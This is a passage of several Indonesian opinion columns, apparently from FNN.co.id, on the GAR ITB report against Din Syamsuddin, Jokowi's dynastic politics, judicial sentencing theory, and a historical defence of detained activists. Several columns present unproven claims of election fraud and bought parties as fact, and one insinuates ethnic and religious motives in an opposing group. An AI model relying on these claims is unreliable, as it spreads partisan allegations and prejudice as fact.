baru, dan (ii) menghasilkan manusia-manusia baru. Hanya dengan sikap dan semangat radikalisme, Dosen akan mampu memproduksi ilmu baru. Lalu hasilnya dibagikan tidak hanya kepada mahasiswa dan sejawat Dosen tetapi juga kepada komunitas ilmuwan dunia. Dengan sikap dan semangat itu pula ITB menghasilkan alumni. Jika ada alumni yang tidak mampu berkontribusi kepada almamaternya dalam perjuangan memenangkan global intellectual racing, disarankan lebih baik turut berdo’a daripada membuat gerakan yang kontra-produktif. Kampus Radikal Terkini, aksi GAR ITB yang melaporkan Prof Din Syamsuddin ke KASN menjadi bumerang. Apalagi, Menko Polhukam Mahfud MD menegaskan, laporan GAR ITB itu tidak akan diproses. Menag Yaqult Cholil Qoumas juga mengingatkan agar jangan gegabah mencap orang lain radikal. GAR ITB yang dimotori sekitar dua ribuan alumni yang berasal dari etnis dan agama tertentu ini juga dikhawatirkan bisa mengundang konflik bernuansa SARA. ITB memang dikenal sebagai "kampus radikal" sejak dulu. Kalau tidak radikal tak mungkin menghasilkan tokoh nasional dan dunia sekelas Soekarno. Selain telah melahirkan Bung Karno dan Moedomo, ITB juga telah mencetak alumni dengan prestasi dunia seperti Prof BJ Habibie, dan lain-lain yang tak bisa disebutkan satu per satu. Fachjrul Rahman alias Panjul, Jubir Presiden Joko Widodo, termasuk salah satu mahasiswa radikal saat kuliah di ITB. Ia bersama M. Jumhur Hidayat dan Syahganda Nainggolan pernah diadili di PN Bandung. Mereka diadili karena terlibat unjuk rasa menolak kedatangan Mendagri Rudini di kampus ITB. Saat dalam proses hukum, mereka sempat ditahan di LP Nusakambangan, Cilacap. Semasa Presiden Susilo Bambang Yudhoyono, Panjul tetap menjadi aktifis yang radikal dalam mengkritisi kebijakan SBY yang dianggap merugikan rakyat. Kini Panjul menjadi radikal pembela Pemerintah. Sedangkan dua kawan lamanya, Syahganda dan Jumhur masih setIa menjadi radikal pembela rakyat yang semakin tertekan secara ekonomi dan politik. Keduanya kini ditahan terkait suara kritisnya selama ini. Saya pernah kenal ketiganya ketika masih kuliah di UNPAD dan menjadi wartawan Tabloid EKSPONEN Jogjakarta lanjut Majalah EDITOR Jakarta di Bandung. Mulai kenal ketika harus wawancara mereka. Hampir tiap hari saya melihat Panjul jalan kaki melintas di sebuah gang di Jalan Kidang Pananjung menuju Asrama Mahasiswa Kalimantan di Cisitu Lama. Saat itu saya tinggal di sepetak kamar di gang kecil itu. Saking radikalnya mahasiswa ITB semasa Rektor Prof. Wiranto Arismundar, pernah terjadi "penyanderaan" seorang intel Polwiltabes Bandung karena ketahuan saat "nyusup" dan pantau aksi unjuk rasa. Kala melihat ketidak-adilan yang dialami warga Kacapiring terkait kasus lahan warga yang "disengketakan", mahsiswa ITB unjuk rasa di Balai Kota hingga dibubarkan dan dikejar polisi hingga kampus Ganesha ITB. Seperti itulah "radikalisme" mahasiswa ITB yang saya kenal semasa masih kuliah di Bandung. Jadi, tidak ada ceritanya orang ITB itu "anti radikal" seperti GAR ITB yang mengatasnamakan ITB. Dan ITB itu radikal dalam prestasi keilmuan maupun sikap politik dan demokrasi sebagai kontrol sosial! Penulis adalah Wartawan Senior FNN.co.id.

Jokowi Lengser Sebelum 2024, “Bangsa Selamat”

by M. Rizal Fadillah Bandung FNN - Pengukuhan politik dinasti, dengan dugaan kuat kalau Gibran dicanangkan untuk menjadi calon Gubernur DKI Jakarta. Ini rute perjalanan sebagaimana yang dilalui sang ayah dahulu Joko Widodo dulu. Kenyataan ini telah mengakibatkan pemaksaan dengan tekanan sana-sini kepada partai politik agar Pilkada serentak dilaksanakan tahun 2024. Mayoritas partai politik juga diperkirakan sudah terbeli secara politik untuk menyetujui penggagalan revisi UU Pemilu. Padalal semula hampir semua partai politik di DPR sepakat untuk merevisi undang-undang tentang Pemilihan Kepala Daerah (Pilkada). Hanya PDIP yang memberikan catatatan semacam penolakan. Namun belakangan setelah operasi Jokowi, partai politik koalisi penguasa balik badan. Yang paling ditakuti Gibran dan juga kandidat lain untuk Pilgub DKI adalah Anies Baswedan. Karenanya mutlak harus tidak ikut sebagai kontestan. Jika Pilgub dilaksanakan tahun 2022, sesuai rencana awal revisi, maka dipastikan Anies akan bertarung dalam Pilgub 2022 dan diprediksi menang dengan mudah. Gibran kehilangan harapan dan cita-cita. Dengan upaya Jokowi untuk mengatur pelaksanaan Pilgub pada tahun 2024, dipastikan Anies hanya akan bertarung untuk Pilpres saja. Sementara lawan Gibran di Pilgub DKI relatif bisa diatur sebagaimana dalam Pilwalkot Solo yang lalu. Gibran dirancang sebagai Gubernur DKI dan bersiap-siap untuk maju secagai Pilpres pada 2029 nanti. Skenario kepentingan politik dinasti ini memungkinkan Pemilu 2024 akan berujung kacau atas beberapa alasan. Pertama, tingkat kesulitan akan jauh lebih berat dibanding Pemilu 2019. Pada gabungan Pilpres dengan Pileg saja korban tewas mencapai 849 orang. Lalu, apa yang terjadi dengan gabungan Pilpres, Pileg, dan Pilkada? Korban akan semakin besar. Berapa banyak lagi anak bangsa yang menjadi petugas KPPS yang mau dikorbankan untuk merealisakan ambisi politik dinasti? Kedua, motif untuk menggoalkan Gibran Rakabuming Bin Joko Widodo menjadi Gubernur DKI Jakarta akan menghadapi perlawanan publik yang keras. Jauh lebih berat dibandingkan dengan rekayasa sukses Pilwalkot Solo kemarin. Gibran bukan tokoh politik yang alami. Sebaliknya, Gibran dikarbitkan untuk menjadi Gubernur Jakarta. Hati-hati, ini Jakarta mas! Ketiga, Pilpres dengan Presidential Treshold 20 % menyebabkan polarisasi bakalan tajam kembali. Pilgub DKI dan Pilkada lain pasti juga sangat seru. Gabungannya bisa saja berdarah-darah. Diprediksi bakal menjadi Pemilu yang paling brutal dalam sejarah sejak Indonesia merdeka. Sementara Jokowi sebagai pengendali dalam posisi yang tidak ajeg akibat babak belur bertahan sampai 2024. Keempat, indikasi terjadi kecurangan pada Pilpres 2014 dan Pilpres 2019 yang menghasilkan Jokowi sebagai Presiden merupakan pengalaman buruk. Pada Pilpres, Pileg, dan Pilkada 2024 dibawah kendali kepemimpinan Jokowi, maka sukses curang diperkirakan dapat terulang kembali. Reaksi atas perulangan kecurangan dipredisi lebih gigih dan kuat. Pemilu 2024 yang didasarkan pada niat buruk, akan menjadi Pemilu yang bukan saja paling kacau. Tetapi juga paling brutal, dan paling curang dalam sejarah. Bukan demokrasi yang ditampilkan kepada rakyat, tetapi mobokrasi. Para gerombolan yang bertarung dan saling memangsa satu sama lain. Akiabtnya, kekacauan siatuasi poliitk nasional tidak bisa dihindarkan. Semua kondisi buruk Pemilu 2024 dapat terelakkan, jika Pemerintahan Jokowi lengser sebelum tahun 2024. Jokowi mengundurkan diri atau dimakzulkan secara konstitusional, maka selamatlah bangsa Indonesia. Ayo, selamatkan bangsa dan negara dari kemungkinan keterpurukan akibat kuatnya syahwat ambisi politik dinasti. Penulis adalah Pemerhati Politik dan Kebangsaan.

Ikhtiar Menemukan Keadilan Humanistis (Bagian-1)

Tulisan ini sebagai catatan akademis singkat terhadap buah pikir Prof. Dr. H. Muhammad Syarifuddin SH. MH. teman sesama alumni Fakultas Hukum Universitas Islam Indonesia (UII) Yogyakarta, dalam pidato pengukuhan sebagai Guru Besar Tidak Tetap Univesitas Diponegoro, dengan judul “Pembaruan Sistem Pemidanaan Dalam Praktik Peradilan Modern: Pendekatan Heurestika Hukum”. by Prof. Dr. Syaiful Bakhri SH. MH. Jakarta FNN - Membaca pemikiran Prof. Dr. H. M. Syarifuddin SH.,MH. dalam Pidato Pengukuhan Guru Besar Tidak Tetap pada Fakultas Hukum Universitas Diponegoro, mencerminkan kematangan pemikiran sebagai seorang hakim. Kematangan sebagai buah hasil pergumulan panjang dalam mencari, dan menemukan jawaban atas setiap permasalahan hukum yang ujungnya penjatuhan putusan oleh Hakim. Pekerjaan Hakim tersebut sebagaimana diuraikan secara lugas dalam Pidato Pengukuhannya, yakni upayah untuk menyelaraskan hukum dan keadilan. Upaya melalui kegiatan menafsirkan aturan. Membentuk norma baru. Mendorong gerak pembaruan hukum adalah representasi proses kreatif dalam menerima dan memutus perkara. Puncaknya menjatuhkan pidana, sebagai kulminasi dari pergulatan nurani dan kerja kreatif Hakim untuk menegakkan hukum dan keadilan (Syarifuddin, 2021: 06). Dalam menjalankan tugasnya, yang bersangkutan menyadari bahwa terdapat suatu problematikan klasik yang belum mendapatkan jawaban secara tuntas. Problem itu tidak saja dalam dunia akademis, melainkan sebuah tantangan dalam dunia praktik. Yang dimaksud adalah dalam hal disparitas pemidanaan, khususnya putusan perkara tindak pidana korupsi yang memiliki isu hukum yang sama. Kesenjangan hukuman tanpa alasan yang jelas dalam pemidanaan perkara korupsi, memberi gambaran masih adanya disparitas pemidanaan. Salah satu yang menjadi sebab adalah sistem minimum dan maksimum dalam pemidanaan kasus korupsi (Langkun, 2014: 2). Disparitas ini menyebabkan terjadinya degradasi bagi kepercayaan masyarakat terhadap berbagai Putusan Pengadilan yang dianggap tidak konsisten. Dalam konteks yang lebih luas, kenyataan ini semakin melebarkan jarak antara ekspetasi masyarakat terhadap Putusan Hakim, dan apa yang menjadi tujuan hukum itu sendiri. Meminjam pandangan Gustav Radbruch, bahwa terdapat setidaknya tiga tujuan hukum, yakni dua keadilan hukum, kemanfaatan hukum, dan kepastian hukum. Dalam mewujudkan tujuan hukum itu, Gustav menyatakan perlu digunakan asas prioritas dari tiga nilai dasar yang menjadi tujuan hukum. Asas prioritas itu diperlukan karena dalam realitasnya, keadilan hukum sering berbenturan dengan kemanfaatan dan kepastian hukum. Begitu juga begitupun sebaliknya. Diantara tiga nilai dasar tujuan hukum tersebut, pada saat terjadi benturan, mesti ada yang dikorbankan. Untuk itu, asas prioritas yang digunakan oleh Gustav Radbruch harus dilaksanakan dengan urutan sebagai berikut. Pertama, keadilan hukum. Kedua, kemanfaatan hukum. Ketiga, kepastian hukum (Erwin, 2012: 123). Urutan yang demikian, menunjukan bahwa pentingnya posisi keadilan dalam setiap penjatuhan putusan hakim. Namun tidak hanya berhenti sampai disitu. Keadilan juga harus membawa manfaat bagi seluruh pihak. Pada akhirnya keadilan dan kemanfaatan tersebut dibulatkan melalui bentuk sebuah putusan yang mencerminkan terpenuhinya kepastian hukum. Dengan jalan pikiran yang demikian, maka putusan hakim tidak sekedar menjadi sebuah dokumen hukum yang mencerminkan “aura” kepastian hukum di dalamnya. Tetapi dalam setiap lembar, setiap pertimbangan, dan setiap argumentasi yang terurai dalam mebentuk sebuah putusan, di dalamnya terdapat sinar-sinar keadilan hukum yang memandu setiap aliran pikiran, yang pada akhirnya turut mebawa kemanfaatan hukum. Keadilan sebagai isu yang sentral dalam dinamika putusan hakim, merupakan hal yang harus dan mutlak mendapatkan perhatian serius. Keadilan adalah sesuatu yang harus selalu diperjuangkan secara serius, berkelanjutan, agar dapat dirasakan kemanfaatannya. Perjuangan itu memerlukan waktu, pikiran, dan bahkan kepasrahan dengan hasil yang diperoleh. Perjuangan untuk mencapai keadilan sebagai suatu jalan yang berliku, sangat berduri dan penuh dengan ketidaknyamanan. Tetapi mesti berhujung pada penghentian terakhir, dengan hasil yang mungkin saja memuaskan ataupun mengecewakan. Meski demikian keadilan tetap menjadi isu utama dalam problematikan kehidupan (Bakhri, 2019: 5). Walaupun perjuangan mencapai keadilan dalam hukum pidana hingga sekarang belum terpecahkan. Tetapi setidaknya hukum pidana, berupaya untuk mewujudkan rasa keadilan. Melalui hukum pidana dan pemidanaan, maka tujuan mulianya adalah untuk memberikan perlindungan pada kepentingan umum, melalui kepentingan hukum dan keadilan. Perjuangan untuk memperoleh keadilan tentu memerlukan sikap yang konsisten. Karena keadilan seolah-olah tanpa dapat disentuh. Sehingga untuk mendapatkan tiga tujuan hukum tersebut, diperlukan energi untuk pencapaiannya. Bisa melalui berbagai jalan dan rintangan terjal untuk bisa sampai pada sasaran yang dituju (Bakhri, 2016 : 7). Dalam memenuhi tujuan hukum melalui Putusan Hakim, penulis menawarkan sebuah gagasan yang disebut sebagai pendekatan heuristika hukum. Heuristika berasal dari kata heuriskein (Yunani). Dalam bahasa latin heuristicus, yang berarti “to find out” atau “discover”, yaitu menemukan sesuatu (Romanyc, 1985: 47). Heuristika adalah serving to find out or discover atau berupaya menemukan sesuatu pengetahuan baru (Engel, 2006: 2). Dalam pengertian lain, heuristika adalah “the branch of logic which treats of the art of discovery or invention”, cabang dari logika yang membahas tentang seni menemukan suatu pengetahuan baru (Romanyc, 1985: 48). Dalam Psikologi Gestalt, heuristika digambarkan sebagai perilaku yang eksploratif, seperti dalam pencarian informasi dari berbagai sumber yang memungkinkan. Herbert Simon dan Allen Newell memahami heuristika sebagai pendekatan yang berupaya menemukan solusi atas suatu permasalahan dalam ruang yang lebih luas (Engel, 2006: 8). Dalam gagasannya, Prof. Dr. Muhammad Syarifuddin menawarkan metode heuristika dalam menjatuhkan putusan oleh hakim. Hal ini didasarkan pada fakta bahwa seringkali terjadi ketika berhadapan dengan permasalahan hukum, kita sulit menemukan pemecahannya. Apalagi jika hanya mengandalkan aturan hukum yang ada. Banyak ditemukan fakta bahwa penanganan suatu perkara tidak bisa mengandalkan pada ketentuan undang-undang semata. Misalnya, dalam perkara korupsi yang nilai kerugiannya hampir sama dan memiliki kemiripan dalam peranan sipelaku. Hakim menjatuhkan sanksi pidana yang jauh berbeda tanpa ada pertimbangan yang cukup sebagai alasan untuk menjatuhkan sanksi yang lebih berat, atau sebaliknya dalam kasus-kasus serupa (Syarifuddin, 2021: 20). Dikemukakan bahwa pemahaman terhadap heuristika dapat disederhanakan sebagai berikut. Ketika menghadapi suatu permasalahan, kita biasanya melihat aturan atau formula yang ada untuk menyelesaikan masalah tersebut. Padahal dalam banyak kejadian, aturan atau formula itu tidak dapat diterapkan untuk menyelesaikan permasalahan secara tuntas. Untuk itu, menurut Prof. Dr. Muhammad Syafruddin, tetap diperlukan proses kreatif untuk menjajaki kemungkinkan lain di luar dari aturan atau formula tersebut. Di sini, seni berpikir dan menganalisis suatu permasalahan dikedepankan dengan mencoba keluar dari pakem yang ada. Inilah tempat yang disebut heuristika, karena berupaya menemukan solusi (breakthrough) yang secara aturan atau formula yang ada tidak memungkinkan. (bersambung). Penulis adalah Rektor Universitas Muhammadiyah Jakarta.

Misi Politik GAR Alumni ITB Yang Gagal

by M. Rizal Fadillah Bandung FNN - Nafsu Gerakan Anti Radikal (GAR) Alumni Intitut Teknologi Bandung (ITB) untuk merusak nama baik Prof. Dr. Din Syamsuddin, MA. nyaris gagal. Alih alih Komisi Aparatur Sipil Negara (KASN) memproses laporan GAR alumni ITB, malahan kini GAR yang mengalami gegar sosial. Giliran GAR menerima pukulan publik bertubi-tubi. Ketua KASN Agus Pramusinto menyatakan bahwa KASN tidak berkomentar apa-apa, dan menegaskan laporan GAR ITB tidak memiliki bukti atas pelaporannya. Karenanya KASN langsung saja melanjutkan laporan tersebut ke pihak Satgas Penanganan Radikalisme dan Kementrian Agama. Menteri Agama (Menag) Yaqut Cholil Quomas menanggapi dengan dingin. Yaqut yang biasa ribut soal radikalisme, ektrimisme dan intoleransi ternyata menyarankan agar tidak gegabah dalam menilai radikal dalam kasus pelaporan Prof Din Syamsuddin. Sikap Menag Yqut ini sejalan dengan pandangan Pengurus Besar Nahdlatul Ulama (PBNU). Sebelumnya PBNU dan PP Muhammadiyah sekapakat menolak anggapan Prof Din Syamsuddin dituduh radikal. Sebagai Organisasi Kemasyarakatan (Ormas) keagamaan terbesar di Indonesia itu menyatakan tuduhan GAR bahwa Prof. Din Syamsuddin radikal, sangat tidak berdasar dan tidak mempunyai bukti konkrit. Selain PBNU dan PP Muhammadiyah, banyak tokoh nasional yang tampil mengecam GAR alumni ITB, dan membela Prof. Din Syamsuddin yang masih menjadi dosan tetap di UIN Syarif Hidayatullah itu. Para tokoh itu, mulai dari Prof. Azyumardi Azra, Hidayat Nur Wahid, Marsudi Syuhud hingga Mahfud MD. Publik menilai GAR alumni ITB kini sebagai model buzzer penguasa. Keluar dari citra akademisi, dan menjadi sebuah kelompok politik kepentingan sesaat. Berujung bukan saja mendesak pembubaran, tetapi juga langkah penindakan hukum. Perbuatan GAR alumni ITB dapat dikualifikasikan kriminal. Reaksi sesama alumni ITB muncul juga bermunculan. Kali ini kelompok organisasi Keluarga Alumni ITB Penegak Pancasila dan Anti Komunis (KAPPAK) membuat pernyataan menohok. Meski mengaku terlambat, akan tetapi tajam dalam mengkritisi. KAPPAK mendesak Rektorat dan Senat ITB agar menindak tegas GAR alumni ITB karena ikut campur dalam urusan internal ITB. Demikian juga dengan dosen yang terlibat agar ditertibkan karena dinilai telah merusak kredibilitas ITB. KAPPAK yang berangkat dari penegakan nilai Pancasila dan Anti Komunis mengingatkan agar seluruh alumni ITB harus menjunjung tinggi kebebasan berfikir, berkarya, dan berkiprah pada platform ilmiah dalam kawalan nilai-nilai Pancasila. KAPPAK juga meminta agar Ikatan Alumni (IA ITB) segera mengambil sikap terhadap kelompok "anti radikal" tersebut. Mungkin KAPPAK melihat ada nilai-nilai "anti Pancasila" dalam gerakan ini. GAR mencoba untuk berlindung dibalik isu-isu radikalisme. Namun patut diduga ada maksud-maksud lain, misalnya untuk menciptakan kekacauan dan perpecahan di lingkungan ITB. Reaksi luas atas sikap GAR alumni ITB yang tendensius dan berbau buzzer politik ini, menyebabkan banyak pertanyaan atas keberadaan GAR ITB tersebut. Banyak pihak mulai menguliti kelompok ini. Mulai dari aspek SARA, konteks etnis dan agama dibongkar. Apalagi keberadaan "orang pemerintahan" sebagai inisiator dan provokator, hingga privasi sang juru bicara pun mulai diselidiki dan dikomentari. Pencatutan terhadap nama-nama para pendukung GAR alumni ITB mulai dipersoalkan. Disamping gegar sosial GAR mengalami gegar moral. Akibatnya, rencana busuk GAR terbaca juga oleh publik. Hanya karena selama ini Prof. Din Syamsuddin selalu kritis dalam mengoreksi berbagai kebijakan pemerintahan Jokowi yang tidak berpihak kepada kepentingan rakyat. Memang pilihan terbaik untuk stabilitas dan kredibilitas ITB sebagai perguruan tinggi perjuangan yang terkenal banyak melahirkan tokoh-tokoh bangsa yang hebat, adalah segera untuk menindak GAR ITB. Bubarkan GAR adalah pilihan yang paling sederhana. Kebijakan lebih dari itupun adalah hal yang wajar. GAR telah merusak citra ITB, moral akademis serta menghancurkan nilai dan karakter mulia bangsa. Ketika bangsa ini mewaspadai ancaman perusakkan nilai-nilai Pancasila dan bahaya komunisme, model gerakan politik GAR alumni ITB seperti ini harus dengan cepat diantisipasi dan dieliminasi. Sikap yang berlambat-lambat dapat menimbulkan bencana untuk banga dan ITB. GAR ITB telah gagal melakukan kudeta moral dan intelektual. Penulis adalah Pemerhati Politik dan Kebangsaan.

Pak Hakim, Jangan Hukum Dr. Syahganda, Jumhur, Dkk (Bag-2)

by Dr. Margarito Kamis SH. M.Hum Ternate FNN - Pembaca FNN yang budiman. Tidak ada perang yang benar-benar bersih. Perang juga tidak hanya tentang adu teknik menembak. Perang menyajikan adu siasat, dalam banyak hal. Ada agitasi, ada intimidasi, ada penyebaran berita bohong, ada tipu daya dan sejenisnya. Bawaan alami perang adalah mematikan lawan dan menghadirkan ketakutan. Menghadirkan ketakutan itu cara mendekatkan lawan pada keadaan bertekuk lutut, menyerah. Itu jelas. Tetapi selalu ada orang yang tak takut, bergairah menyambut perang. Sama dengan, selalu ada yang bersedia jadi penghianat. Keonaran Itu Harus Kongkrit Keonaran menjadi ciri keadaan segera setelah proklamasi diumumkan. Sekutu yang didalamnya ada Belanda tiba di Indonesia. Keonaran itu menjadi sebab November 1945 Sekutu mengadakan jam malam. Rosihan Anwar, Jurnalis tiga zaman ini menulis tanggal 19 November pemerintah mengeluarkan maklumat. Isinya menempatkan Tentara Keamanan Rakyat (TKR) di sekeliling Jakarta. Itu berarti TKR ditarik ke luar dari Jakarta. Sekutu tidak pernah netral. Mereka condong ke Belanda. Kantor besar Kepolisian di lapangan Gambir digrebek Sekutu dibawah pimpinan Mayor Masset. Menurut Muhammad Yuanda Zara, sejarahwan terkemuka ini, Sekutu tak mau menyebut nama Jakarta. Mereka tetap menyebut Batavia. Sekutu menyebut pasukan TKR sebagai ekstrimis. Tentara Ghurka, tentara Sekutu ini, persis KNIL masuk ke luar kampong mencari perempuan. Terjadi keonaran di kampung-kampung yang dimasukinya. Sangat menakutkan. Para suami khawatir istri mereka akan diperkosa tentara. Disisi lain, gerombolan juga beraksi semaunya. Perampokan, tulis Ventje Sumual juga terjadi di pasar-pasar. Lalu anak anak muda tidak terlatih dan terorganisir, yang tentara sekutu dan NICA sebut mereka gerombolan, terus mencari perkara dengan tentara, terutama dengan KNIL. Ini terjadi, misalnya di Cililitan. Di Bali, tulis Ida Bagus Astika Pidada dalam Kulturistik, dalam Jurnal Bahasa dan Budaya Vol. 3. Nomor 2, Juli 2019 menyebut, Belanda memprovokasi rakyat untuk mengurung pemuda. Rakyat di Pengajaran bersedia mengejar pemuda dengan beberapa alasan. Mereka yang dikejar itu dikatakan perampok atau penggarong serta pengacau. Beraneka macam tuduhan Belanda kepada para pemuda. Perang selalu begitu. Yang dicari panglima tertinggi. Itu sebabnya Bung Karno mau dibunuh tentara Belanda. Mobil yang ditumpangi Bung Karno ditembaki tentara Belanda. Ini terjadi tanggal 29 Desember 1945. Profesor Soepomo, Muh. Roem bahkan Sjahrir yang perdana menteri pun, menurut Rosihan Anwar hendak dibunuh terntara Belanda. Menteri Pertahanan Amir Sjarifudin mau dirampas mobilnya. Peristiwa penembakan terhadap Bung Karno itu menjadi alasan Tan Malaka jumpa Bung Karno. Bagi Tan Malaka, Bung Karno dan Bung Hatta berada dalam keadaan bahaya jika tetap tinggal di Jakarta. Kepada Bung Karno, Tan Malaka mengajukan satu soal. Soal itu adalah kalau bung Karno dibunuh, siapa yang memimpin Indonesia? Tan Malaka lalu menyarankan kepada Bung Karno membuat testamen Politik. Bung Karno setuju. Dalam testamen politik itu disebut empat nama. Mereka adalah Tan Malaka, Sjahrir, Iwa Kusumasumantri dan Wongsonegoro. Lalu Tan Malaka, si agitator dan propagadis kawakan ini, berkeliling Jawa. Kepada orang-orang yang ditemuinya, Tan Malaka menyebarkan cerita yang masuk kualifikasi pasal 14 ayat (1) dan 15 “UU Nomor 1 Tahun 1946, yakni berita berlebihan dengan maksud menimbulkan keonaran”. Apa yang diberitakan Tan Malaka? Beritanya adalah Bung Karno dan Bung Hatta telah ditawan Inggris di Jakarta. Mereka tidak bisa keluar kota. Tan Malaka juga menceritakan testamen politik itu. Dia, dalam testamen itu ditunjuk sebagai ahli waris mereka untuk mengambil alih serta melanjutkan pimpinan Republik Indonesia. Berita bohong atau berita berlebihan dengan maksud untuk menimbulkan keonaran inilah yang ditakuti oleh Bung Karno, Bung Hatta dan Sjahrir. Untuk merontokannya, pada pertengahan Desember 1945 Bung Karno, Bung Hatta dan Sjahrir mengadakan perjalanan ke Jawa. Politik selalu menyediakan cara untuk eksis. Upaya Bung Karno, Bung Hatta dan Sjahrir tak menyurutkan langkah Tan Malaka. Tan Malaka terus menggerakan roda propaganda. Dia segera memotori pertemuan Persatuan Perjuangan (PP) di Solo tanggal 5-6 Januari 1946. Bermodalkan energi baru itu, Tan Malaka melipatgandakan oposisinya kepada Sjahrir. Menyiarkan berita bohong, bukan kerjaan Tan Malaka semata. Sama sekali bukan. Seperti yang sudah-sudah, tulis Jendral A.H Nasution (Almarhum), semoga Allah Subhanahu Wata’ala membalas semua kebaikannya, dalam bukunya Sekitar Perang Kemerdekaan Jilid 4, agitasi dan propaganda semakin hebat. Sampai kita dari TRI mengkhawatirkan kemungkinan pecah perang saudara. Surat kaleng, selebaran, dan perang desas-desus, ditemukan dimana-mana. Isinya penuh provokasi. Hebatnya diuraikan secara logis, sehingga mudah dicerna pikiran rakyat jelata. Banyak pula provokasi yang menyebut Sukarno, Hatta, Sjahrir dan Amir Sjarifudin penghianat bangsa, penjual negara. Desas-desus Belanda menandai mata-matanya dengan tanda khusus, terus bergerak. Ini berkembang menjadi sesuatu yang tidak dapat dinalar. Banyak orang yang dibunuh hanya karena kebetulan pada pakaiannya terdapat unsur-unsur warna bendera Belanda (Noordjanah, 2010: 131). Satu artikel di dalam “Harian Berdjoeang” (tanda petik dari saya) menuklis bahwa “beberapa mata-mata moesoeh ditangkap dengan membawa lampoe senter (battery). Lampu ini memakai tanda tiga warna (merah-putih-biru) (Harian Berdjoeang, 9 April 1946 dalam Nordjannah). Para laskar yang mendengar desas-desus itu tak tinggal diam. Situasi semakin mencekam. Mereka mencari mata-mata Belanda yang menyamar. Hampir setiap orang yang dicurigai berafiliasi dengan Belanda diperiksa. Segala sesuatu yang dianggap asing atau tidak dikenal langsung dicap “agen NICA” (Lucas, 2004:184) Belanda terus melakukan demoralisasi prajurit. Tak tanggung-tanggung A.H. Nasution juga jadi sasaran NEFIS. NEFIS menyebar isu bahwa Nasution adalah seorang agen NEFIS. Kolonel tersebut mengatakan “seorang perwira NEFIS meminta kepada perwira TNI yang dibebaskan itu untuk menyampaikan pesan-pesan kepada Jenderal Nasution. Pesannya, Jenderal Nasution adalah sahabat karibnya.” Tidak hanya A.H. Nasution, Kolonel Gatot Subroto pun jadi sasaran demoralisasi. Itu sebabnya Gatot Subroto langsung menghadap Wakil Presiden. Kepada Wapres, Gatot menceritakan selebaran-selebaran yang menyebutnya sebagai “agen NICA” (A.H. Nasution, 1983: 18) Orang-orang republik merespon situasi itu. Pada perayaan Idul Adha pertama pasca-kemerdekaan, sebuah slogan menarik dimuat koran Kedaulatan Rakjat di Yogya. Slogan itu berbunyi, "biasa menjembelih kambing, siap menjembelih moesoeh" (cetak miring dan tanda petik dari saya). Sekutu melalui Evening News, koran mereka, juga gencar menyebarkan propaganda. Belanda yang diuntungkan sekutu, gencar memancing dan menyiarkan kabar-kabar bohong. Rakyat dibingungkan dengan pamflet-pamflet gelap. Melalui iklan dan poster-poster, mereka menjawab provokasi Belanda. (Tashadi, dkk., 1996:142) Akibatnya jelas. Terjadi banyak salah faham dan kesimpangsiuran di kalangan pejuang. Laskar-laskar perjuangan juga masyarakat mengaklami situasi itu, (Lihat Hutri Limah, Cahyo Budi Utomo, Andy Suryadi, dalam Journal of Indonesian History (2018). Bebaskan Mereka Itu Terhormat Perang meminta komando, dan disiplin rigid. Sayangnya TKR yang telah terbentuk sejak Oktober 1945, tidak kapabel untuk diandalkan menangani keadaan. Laskar-laskar perlawanan, yang dibutuhkan untuk perlawanan semesta, dalam kenyataannya sangat tidak terorganisir, dan tidak terkordiansi. Sampai dengan keluarnya UU Nomor 1 Tahun 1946, lascar-laskar ini sulit disatukan. Ini soal besar. Itu sebabnya tanggal 1 Januari 1946 atau sebulan lebih sebelum UU Nomor 1 Tahun 1946 diundangkan, Bung Karno mengganti nama TKR menjadi Tentara Keselamatan Rakyat. Juga mengganti nama Kementerian Keamanan menjadi Kementerian Pertahanan. Sayangnya laskar-laskar ini tetap belum dapat disatukan dalam satu organisasi. Menurut Abdoel Fatah, dalam bukunya Demiliterisasi Tentara nama baru untuk organisasi tentara itu tak lama. Tanggal 23 Februari 1946, tiga hari sebelum UU Nomor 1 Tahun 1946 dibentuk, Bung Karno kembali mengganti nama TKR menjadi Tentara Republik Indonesia (TRI). Januari dan Februari 1946 adalah bulan penuh berita boghong alias propaganda oposisional Tan Malaka kepada Sjahrir. Oposisi ini didukung oleh beberapa eksponen politik. Dan berhasil melemahkan Sjahrir. Sjahrir pun mengajukan permohonan pengunduran diri kepada Bung Karno. Sjahrir dipropagandakan tidak dapat diandalkan untuk merealisasikan apa yang disebut Tan Malaka dengan merdeka 100%. Sjahrir, akhirnya benar-benar mengajukan surat yang intinya dia meletakan jabatan. Itu terjadi tanggal 23 Februari 1946, tiga hari sebelum UU Nomor 1 Tahun 1946 diundangkan. Tan Malaka, dipercayakan Bung Karno membentuk kabinet. Tetapi Tan Malaka gagal memenuhi mandat Bung Karno. Akhirnya Bung Karno menunjuk Sjahrir membentuk kabinet Sjahrir II. Lalu apa pentingnya kenyataan ketatanegaraan dan keamanan itu dalam konteks perkara ini? Norma “memberitakan kabar bohong atau kabar yang berlebihan” dengan maksud membuat keonaran, tak bisa diinterpretasi lain selain masalah historis lahirnya UU Nomor 1 Tahun 1945 itu Yang Mulia Pak Hakim. Teks itu, dengan argumentasi apapun, harus dikontekskan pada keadaan nyata peristiwa dan siatuasi sejak September 1945 hingga Februarui 1946. Dalam konteks itu, norma “kabar dan berita bohong atau berlebihan” adalah norma yang menunjuk keadaan kongkrit yang terjadi saat itu. Bukan yang lain Pak Hakim. Apalagi disandarkan dengan situasi sekarang. Jauh panggang dari api. Jangan perlihatkan kalau yang mulia Pak Hakim tidak mengerti dan tak paham sejarah lahirnya undang-undang. Jelas, ini bukan soal bahasa. Sama sekali bukan. Ini soal black box dan history text “menyiarkan kabar bohong atau berlebihan dan keonaran“. Tak logis bila soal “menyiarkan kabar bohong atau berita berlebihan” dalam pasal 14 UU Nomor 1 Tahun 1946 diperjelas dengan mencari makna semantiknya. Norma berita bohong atau berlebihan yang dimaksudkan untuk menimbulkan keonaran, tidak lain merupakan berita yang tidak dikehendaki, karena berakibat nyata-nyata dan langsung memperburuk keonaran yang telah terjadi. Interpretasi teks atas norma berita bohong atau berlebihan yang disiarkan untuk menimbulkan keonaran” tidak bisa dilakukan dengan pendekatan noscitur asocis. Sama sekali tidak bisa. Mengapa? Kata-kata itu telah sangat jelas dalam kamus bahasa. Interpretasi teks yang tepat, yang harus digunakan adalah purposivist interpretation. Interpretasi ini mengharuskan hakim menemukan intensi teks. Tidak dengan memeriksa rangkaian teks. Teks tidak diperlakukan sebagai denominasi. Cara ini memungkinkan Yang Mulia Pak Hakim menemukan intensi original teks yang diasumiskan oleh pembentuk teks pasal 14 dan 15 UIU Nomor 1 Tahun 1946. Infrensi nalar terhadap 